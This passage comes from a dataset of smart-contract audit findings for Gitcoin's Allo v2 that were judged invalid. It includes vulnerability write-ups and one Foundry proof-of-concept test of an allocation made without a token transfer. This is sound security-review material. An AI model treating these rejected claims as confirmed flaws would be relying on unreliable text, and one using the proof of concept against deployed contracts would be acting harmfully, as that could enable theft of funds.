_data The data\n /// @param _sender The sender of the transaction\n /// @dev Only the pool manager(s) can call this function\n- function _allocate(bytes memory _data, address _sender) internal virtual override {\n+ function _allocate(bytes memory _data, address _sender) internal virtual override onlyPoolManager(_sender){\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/608.md"}} +{"title":"If an allocator is removed in `QVSimpleStrategy` his votes are still counted","severity":"info","body":"Dandy Lavender Wombat\n\nhigh\n\n# If an allocator is removed in `QVSimpleStrategy` his votes are still counted\nIf an allocator in `QVSimpleStrategy` has voted and is removed after wards, his votes are still counted.\n\n\n## Vulnerability Detail\n\nIn `QVSimpleStrategy` a poolManager can add addresses as `allocators` and give them the right to vote which recipient will get a part of the pool. The poolManager can also remove an `allocator` if he wants to exclude the allocator from the voting. The problem is that if the allocator that should be removed already voted, his votes are still counted since they are not removed when removing the allocator. \n\n## Impact\n\nVotes of allocators that should be excluded from the voting are still considered in the final result and will thereby influence the distribution of the pool\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIf an allocator is removed, also reduce the votes `_recipient.totalVotesReceived` for the recipients he voted for, reduce the `totalRecipientVotes` and delete the values for the allocators in the mappings `_allocator.voiceCreditsCastToRecipient` and `_allocator.votesCastToRecipient`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/607.md"}} +{"title":"Remaining Native Token in Contract When Transferring BaseFee","severity":"info","body":"Modern Pearl Kangaroo\n\nhigh\n\n# Remaining Native Token in Contract When Transferring BaseFee\nUser's native token will remain in the contract, and it cannot be retrieved due to improper validation.\n\n## Vulnerability Detail\nThe `_createPool()` function is used to create a new pool and pay a fee to the platform according to the `baseFee` state, sending it to the `treasury` address.\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L415-L485\n\nWhen the `_token` parameter is not the `NATIVE` state, the `msg.value` must be greater than the `baseFee` state in order to transfer it to the `treasury` address at line 476.\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L473-L476\n\nAs a result, the contract will retain the native token as `msg.value - baseFee`.\n\n## Impact\nThe native token of users will be left in the contract and cannot be retrieved.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nVisual Studio Code / Manual Review\n\n## Recommendation\n\nModifying to validate that `msg.value` is equal to `baseFee`.\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L473\n\n```diff\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/606.md"}} +{"title":"Users can fund pool without sending fees to the treasury","severity":"info","body":"Genuine Mauve Rhino\n\nhigh\n\n# Users can fund pool without sending fees to the treasury\n`percentFee` is the percentage that is used to calculate the fee Allo takes from each pool when funded and is deducted when a pool is funded. Anyone can fund the pool using `fundPool()`. But users can avoid paying the percentFee by sending in small amounts.\n\n## Vulnerability Detail\n\nThe `fundPool()` allows anyone to fund a pool by passing in the pool Id & the amount to fund.\n```solidity\nFile: Allo.sol\n\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```\nFunding takes place by calling the internal function `_fundPool` & if there is a `percentFee`, the fee is calculated, deducted & sent to the treasury.\nBut the issue lies in the calculation used to calculate the fee amount to be deducted.\n\n```solidity\nFile: Allo.sol\n\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n ...........\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n ..........\n```\nTake the following scenario - \n- The `percentFee` for the protocol is set to `1e16` (1%).\n- `getFeeDenominator` is always set to `1e18`.\n- User calls `fundPool` with 99 DAI.\n- feeAmount = (99 * 1e16) / 1e18\n = 0\n- amountAfterFee -= feeAmount;\n amountAfterFee -= 0;\n- Thus no amount is deducted even after having a percent fee & the whole amount is directly sent to the pool.\n\n## Impact\nUsers can fund pool in small amounts avoiding the fees resulting in loss of funds to the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L511\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEither revert when the `feeAmount` is 0 OR set a minimum amount to be required when funding a pool based on the current `percentFee`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/602.md"}} +{"title":"abi.encodePacked Allows Hash Collision when Creating Profile","severity":"info","body":"Sleepy Shadow Horse\n\nmedium\n\n# abi.encodePacked Allows Hash Collision when Creating Profile\nCreating Profile can be done by anyone and it calls [_generateAnchor(...)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L336-L347) & [_generateProfileId(...)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L359) which uses abi.encodePacked and can would Allow Hash Collision.\n## Vulnerability Detail\nAs can be noted from the solidity documentation: https://docs.soliditylang.org/en/v0.8.17/abi-spec.html?highlight=collisions#non-standard-packed-mode . As an example using keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa. More specifically, abi.encodePacked(\"a\", \"bc\") == abi.encodePacked(\"ab\", \"c\") .\nAs the solidity docs describe, when two or more dynamic types are passed to abi.encodePacked, and since the [createProfile(...)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119) function is an external function without any modifier which in extension calls [_generateAnchor(...)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L336-L347) & [_generateProfileId(...)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L359), meaning anyone can directly specify the value of the arguments when calling the function. Therefore a collision can be created on purpose to re-implement the actual functionality of the function and code base in general.\n\n## Impact\nThis issue in Registry.sol contract can results in hash collisions\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L127\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L142\n```solidity\n function createProfile(\n uint256 _nonce,\n string memory _name,\n Metadata memory _metadata,\n address _owner,\n address[] memory _members\n ) external returns (bytes32) {\n // Generate a profile ID using a nonce and the msg.sender\n>>>> bytes32 profileId = _generateProfileId(_nonce);\n\n // Make sure the nonce is available\n if (profilesById[profileId].anchor != address(0)) revert NONCE_NOT_AVAILABLE();\n\n // Make sure the owner is not the zero address\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n // Create a new Profile instance, also generates the anchor address\n Profile memory profile = Profile({\n id: profileId,\n nonce: _nonce,\n name: _name,\n metadata: _metadata,\n owner: _owner,\n>>>> anchor: _generateAnchor(profileId, _name)\n });\n ...\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L336-L347\n```solidity\nfunction _generateAnchor(bytes32 _profileId, string memory _name) internal returns (address anchor) {\n>>>> bytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\n\n address preCalculatedAddress = CREATE3.getDeployed(salt);\n\n // check if the contract already exists and if the profileId matches\n if (preCalculatedAddress.code.length > 0) {\n if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId) revert ANCHOR_ERROR();\n\n anchor = preCalculatedAddress;\n } else {\n // check if the contract has already been deployed by checking code size of address\n>>>> bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n\n // Use CREATE3 to deploy the anchor contract\n anchor = CREATE3.deploy(salt, creationCode, 0);\n }\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L359\n```solidity\n function _generateProfileId(uint256 _nonce) internal view returns (bytes32) {\n>>>>> return keccak256(abi.encodePacked(_nonce, msg.sender));\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nProper validations and readjustment should be done to avoid Hash Collision","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/598.md"}} +{"title":"No payable receive function on QVBaseStrategy","severity":"info","body":"Faithful Carrot Okapi\n\nhigh\n\n# No payable receive function on QVBaseStrategy\n`QVBaseStrategy` doesn't have a payable receive function.So creating pools with native ETH is not possible.\n\n## Vulnerability Detail\n\nWhen a user funds a pool with native ETH , ETH are being transferred to the strategy but `QVBaseStrategy` doesn't have a payable receive function to receive the ETH.\n\n## Impact\nusers cannot create pools with native ETH. \n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L76](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L76)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd payable receive function to `QVBaseStrategy`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/595.md"}} +{"title":"`_createPool` in Allo always forces the caller to overpay in fees","severity":"info","body":"Sneaky Tan Hippo\n\nmedium\n\n# `_createPool` in Allo always forces the caller to overpay in fees\n\nThe check as to whether the caller has included enough ETH to pay for the `baseFee` in any call to `_createPool` is implemented incorrectly and results in always overcharging the caller & will revert if the caller has included the exact right amount of ETH to pay for the fees.\n\n## Vulnerability Detail\n\nWhen creating a pool, a user will ultimately call the `_createPool` function which has the following snippet of code: \n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { // @issue\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n}\n```\nWhen `baseFee` is non-zero, this logic is intended to check if the user has included enough ETH to pay all the fees. The issue is that if they have paid just enough fees (`baseFee == msg.value`), this call will revert. This effectively means that all users will be overcharged if they want this function not to revert.\n\n## Impact\n\nThe caller who is creating the pool through calling `_createPool` of the Allo contract is always forced to overpay the fees, and the call will revert if they have included enough `msg.value` to pay for the fees.\n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake the following changes in the `_createPool` function:\n```solidity\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/594.md"}} +{"title":"Supported tokens can be trapped in all strategy contracts forever","severity":"info","body":"Sneaky Tan Hippo\n\nmedium\n\n# Supported tokens can be trapped in all strategy contracts forever\n\nAs per the documentation, Allo V2 is intended to \"support all ERC20 tokens\", as projects should be able to pay out whatever token best suits their need. This includes rebasing tokens, such as stETH and others. The issue is that, assuming these tokens rebase upwards (now a larger balance), that extra supply is now trapped in the strategy contract being used (issue applied to all implementations). Even contracts with `withdraw` functions will not be able to send this excess amount, as they can only send up to `poolAmount`, which represents the initial amount deposited (prior to rebase).\n\n## Vulnerability Detail\n\nFirstly, there is no `withdraw` function in the QVSimpleStrategy contract, meaning any excess tokens (due to rebasing) will be completely stuck.\n\nHowever, let's also consider the `withdraw` function implementation for the RFPSimpleStrategy which is defined as follows:\n```solidity\nfunction withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n}\n```\n\nSince the `poolAmount` is equal to the initial value of the rebasing token when it was first deposited (see the `increasePoolAmount` function in BaseStrategy), it will be impossible to withdraw any of the extra rebasing amount. This means that those tokens will be forever locked inside this contract.\n\n## Impact\n\nSupported tokens such as rebasing tokens (stETH, etc.) can be trapped forever inside the strategy contracts, meaning a direct loss of funds.\n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295-L301\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAll strategy contracts (MerkleDistribution, QV, RFP) should support a `withdraw` function which can send the entire balance of a token, rather than relying on the stored `poolAmount` value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/593.md"}} +{"title":"In QVBaseStrategy, pool time stamps canā€™t be updated because always revert","severity":"info","body":"Bouncy Umber Pike\n\nmedium\n\n# In QVBaseStrategy, pool time stamps canā€™t be updated because always revert\n\nIn the QVBasestrategy there is a logic error that causes the `_updatePoolTimeStamps` function to always revert. \n\n## Vulnerability Detail\nThe error is in the use of the basic function `>` which should use `<`, in the `block.timestamp > _registrationStartTime` section. In the `_ isPoolActive` function it is explained that the condition for a pool to be said to be active is `registrationStartTime <= block.timestamp && block.timestamp <= registrationEndTime`, whereas this is contrary to the logic in the `_updatePoolTimeStamps` function. This can cause the `_updatePoolTimeStamps` function to always revert due to incorrect logic and the pool time stamps are never updated.\n\n## Impact\n\nPool time stamps canā€™t be updated because always revert.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L343\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nShould use `<` than `>`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/585.md"}} +{"title":"Protocol status check would failed when l2 sequencer goes down","severity":"info","body":"Sneaky Khaki Rattlesnake\n\nmedium\n\n# Protocol status check would failed when l2 sequencer goes down\n\nProtocol status check will failed when l2 sequencer goes down.\n\n## Vulnerability Detail\n\nIn the current implementation, some functions of this protocol depend on L2 sequencer to check some status, such as allocation is alive or not, or pool is alive or not. However, it's vulnerable when l2 sequencer go down will cause that `block.timestamp` is unusable. Under such conditions, the protocol status check will failed.\n\nL2 chains like arbitrum and optimism upgrade their sequencer occasional, such as the recent [optimism bedrock upgrade](https://cryptopotato.com/optimism-bedrock-upgrade-release-date-revealed/) cause the sequencer can't be able to process transactions for several hours. Or l2 sequencer bug could also cause transactions in stuck, such as [arbitrum sequencer bug](https://beincrypto.com/arbitrum-sequencer-bug-causes-temporary-transaction-pause/). So it's necessary to implement an mechanism to handle this issue in some abnormal conditions.\n\n\n## Impact\n\nOracle price check will be failed when l2 sequencer goes down.\n\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L243\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L311\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L319\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nUse ChainLink [sequencer up feed](https://docs.chain.link/data-feeds/l2-sequencer-feeds), consider integrate the up time feed and give contract extra time when l2 sequencer goes down.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/584.md"}} +{"title":"Protocol transfer maybe failed if recipient is in token contract blacklist","severity":"info","body":"Sneaky Khaki Rattlesnake\n\nmedium\n\n# Protocol transfer maybe failed if recipient is in token contract blacklist\n\nProtocol token transfer maybe failed if recipient is in token contract blacklist.\n\n## Vulnerability Detail\n\nSeveral contracts use `Transfer#_transferAmount` to transfer ERC20 token, such as [Allo contract](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L288) and [Registry contract](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L388). But some token contract may have blacklist mechanism, like USDT. When recipient is in blacklist, transfer will be failed and protocol will revert.\n\n## Impact\n\nContract will dos when recipient is in token contract blacklist.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L87-L93\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nValid that recipient is not blacklisted, or use blacklist to prevent such ERC20 token transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/583.md"}} +{"title":"Two-step ownership transfer process in Registry.sol can be bypassed","severity":"info","body":"Feisty Lavender Carp\n\nmedium\n\n# Two-step ownership transfer process in Registry.sol can be bypassed\nTwo-step ownership transfer process in Registry.sol can be bypassed.\n\n## Vulnerability Detail\nIf the owner accidentally calls \"updateProfilePendingOwner()\" with an incorrect address, a malicious user could call \"acceptProfileOwnership()\" to gain ownership of the profile and then carry out other malicious actions.\nThere are similar reports here.\nhttps://github.com/code-423n4/2023-06-lukso-findings/issues/123\n\n## Impact\nIf the owner accidentally calls \"updateProfilePendingOwner()\" with an incorrect address, it may bypass the two-step ownership transfer process.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L248-L278\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd a inTransferOwnership state variable, which ensures that acceptProfileOwnership() cannot be called while updateProfilePendingOwner() is in execution, similar to a reentrancy guard:\n\n function updateProfilePendingOwner(bytes32 _profileId, address _pendingOwner)\n external\n onlyProfileOwner(_profileId)\n {\n inTransferOwnership = true;\n\n // Some code here...\n\n inTransferOwnership = false;\n }\n\n\n function acceptProfileOwnership(bytes32 _profileId) external {\n if (inTransferOwnership) revert CannotAcceptOwnershipDuringTransfer();\n\n // Some code here...\n}","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/581.md"}} +{"title":"Missing `payable` in `Anchor.execute` function","severity":"info","body":"Bald Linen Mole\n\nhigh\n\n# Missing `payable` in `Anchor.execute` function\nMissing `payable` in `Anchor.execute` function.\n\n## Vulnerability Detail\nIn contract `Anchor.sol` , the `execute` function expects to execute arbitrary external call to the target contract with value sent. However, the function is not correctly modified with `payable` . \n\n## Impact\nThe execute function will revert. \n\nEven if the contract has a `receive` function implemented, the deposited ETH can easily be frontrunned by an attacker to steal the deposited ETH.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70\n\n## Tool used\n\nManual Review\n\n## Recommendation\n- Add `payable` modified to the function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/580.md"}} +{"title":"For the `DonationVotingMerkleDistributionVaultStrategy` the calling the function `withdraw` will always revert","severity":"info","body":"Dandy Lavender Wombat\n\nhigh\n\n# For the `DonationVotingMerkleDistributionVaultStrategy` the calling the function `withdraw` will always revert\nWhen calling `withdraw` in the `DonationVotingMerkleDistributionVaultStrategy`, the amount that is supposed to be withdraws is deducted from the variable `poolAmount`. Since the variable `poolAmount` is always zero because the `DonationVotingMerkleDistributionVaultStrategy` is funded by calling `Allo.allocate()` and not `Allo.fundPool()`, all calls to withdraw will revert and the tokens will be stuck in the contract for ever.\n\n\n## Vulnerability Detail\n\nIf a pool manager wants to withdraw tokens that are stranded in the `DonationVotingMerkleDistributionVaultStrategy` he calls `withdraw`. This function takes an amount as a parameter and checks if the amount is bigger than the value of the `poolAmound`. If the pool manager wants to withdraw more than the `poolAmound`, the function reverts. The problem is that the `poolAmound` will always be 0 since funding the `DonationVotingMerkleDistributionVaultStrategy` by allocating funds to recipients does not increase the `poolAmound` but it increased the claimable amount for the recipient. This results in the function `withdraw()` always reverting since any amount a pool manager wants to withdraw will be bigger than 0.\n\n\n## Impact\n\nCalling `withdraw` will always revert and thereby preventing the pool manager from withdrawing stuck tokens. The tokens will be stuck in the contract for ever. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove the references to `poolAmound` from the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/578.md"}} +{"title":"[H-01] When calling `allo::allocate()` with `DonationVotingMerkleDistributionBaseStrategy` non-native tokens are not transferred from the allocator.","severity":"info","body":"Electric Tiger Bull\n\nhigh\n\n# [H-01] When calling `allo::allocate()` with `DonationVotingMerkleDistributionBaseStrategy` non-native tokens are not transferred from the allocator.\n\nWhen calling `allo::allocate()` with `DonationVotingMerkleDistributionBaseStrategy` non-native tokens are not transferred from the allocator. Which enables allocator to allocate funds to a recipient without actually sending tokens.\n\n## Vulnerability Detail\n\nWhen using [DonationVotingMerkleDistributionBaseStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol) as the strategy, users calling `allo::allocate` are able to allocate without actually sending tokens when non-native tokens are used. \n\nThis is because [DonationVotingMerkleDistributionBaseStrategy::_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640C5-L664C6) only has logic to handle `NATIVE` tokens, in case of non-native tokens, there are no transfer of funds.\n\n## Impact\n\nUsers are able to allocate tokens to themselves(if recipient) / or to others using allowed non-native tokens without actually sending tokens from their possession.\n\n1. Suppose Alice is an allocator / recipient\n2. Alice can call `allo::allocate()` where strategy is `DonationVotingMerkleDistributionBaseStrategy` and uses non-native tokens as one of allowed tokens.\n3. Alice can call the allocate function and no tokens will be transferred from her.\n4. Event is emitted as tokens allocated to Alice / recipient she is sending to.\n5. Off chain mechanisms will add this emit to their bookkeeping and when distributing, tokens are badly distributed to `recipient` without actually sending any token at all.\n\nHere is a coded PoC depicting this scenario:\nThis code can be pasted into the tests/strategies/DonationVotingMerkleDistributionBaseStrategy.t.sol\n\n```javascript\n//File::test/foundry/strategies/DonationVotingMerkleDistributionBaseStrategy.sol\n\n function testRevert_allocate_ERC20NotTransferred() public { //@audit //POC \n address recipientId = __register_accept_recipient();\n\n //Preparing permit data\n //Using allowedTokens[1] mockERC20\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data memory permit2Data =\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data({\n permit: ISignatureTransfer.PermitTransferFrom({\n permitted: ISignatureTransfer.TokenPermissions({token: allowedTokens[1], amount: 1e18}),\n nonce: 0,\n deadline: allocationStartTime + 10000\n }),\n signature: \"\"\n });\n\n // vm.expectRevert(INVALID.selector);\n\n vm.warp(allocationStartTime + 1);\n vm.deal(pool_admin(), 1e20);\n\n //Create user\n address Alice = makeAddr(\"Alice\");\n vm.prank(Alice);\n mockERC20.mint(Alice, 1_000_000 * 1e18);\n\n //ERC20 Balance of ALice before allocating\n uint256 BalanceOfAliceBefore = mockERC20.balanceOf(Alice);\n\n //alice calls allocate\n allo().allocate(poolId, abi.encode(recipientId, permit2Data));\n\n //ERC20 Balance of ALice before allocating\n uint256 BalanceOfAliceAfter = mockERC20.balanceOf(Alice);\n\n //Balances are same because tokens are not transferred\n assertEq(BalanceOfAliceAfter, BalanceOfAliceBefore);\n }\n```\n\nI'm using the non-native tokens as the allowedTokens[1] mockERC20 already defined in the test script. We can see that even after allocating tokens to `recipientId` the mockERC20 `balance` of Alice hasn't changed at all.\n\n## Code Snippet\n\nThere are no mechanism for non-native transfer in [DonationVotingMerkleDistributionBaseStrategy::_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640C5-L664C6).\n\n```javascript\nfunction _allocate(bytes memory _data, address _sender) internal virtual override onlyActiveAllocation {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n uint256 amount = p2Data.permit.permitted.amount;\n address token = p2Data.permit.permitted.token;\n\n // If the recipient status is not 'Accepted' this will revert, the recipient must be accepted through registration\n if (Status(_getUintRecipientStatus(recipientId)) != Status.Accepted) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n // The token must be in the allowed token list and not be native token or zero address\n if (!allowedTokens[token] && !allowedTokens[address(0)]) {\n revert INVALID();\n }\n\n // If the token is native, the amount must be equal to the value sent, otherwise it reverts\n if (msg.value > 0 && token != NATIVE || token == NATIVE && msg.value != amount) {\n revert INVALID();\n }\n\n // Emit that the amount has been allocated to the recipient by the sender\n emit Allocated(recipientId, amount, token, _sender);\n }\n\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd mechanism for handling non-native tokens. \n\n```javascript\n//In File DonationVotingMerkleDistributionBaseStrategy::_allocate()\n\nif(token != NATIVE ){\n token.safeTransferFrom(sender, address(this), amount);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/577.md"}} +{"title":"Use Ownership2stepUpgradable instead of Ownable","severity":"info","body":"Polished Cyan Porpoise\n\nmedium\n\n# Use Ownership2stepUpgradable instead of Ownable\n\nUsing Ownership2stepUpgradable is a best practice and a secure way compared to single step Ownable pattern \n\n## Vulnerability Detail\n\nSingle-step ownership transfer means that if a wrong address was passed when transferring ownership or admin rights it can mean that role is lost forever. The ownership pattern implementation for the protocol is in `Ownable.sol` where a single-step transfer is implemented.This can be a problem for all methods marked in `onlyOwner` throughout the protocol, some of which are core protocol functionality.\n\n\n## Impact\n\n\nHigh, because important protocol functionality will be bricked ,likelihood\nlow, because it requires an error on the admin side\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider using OpenZeppelin's `Ownable2Step` 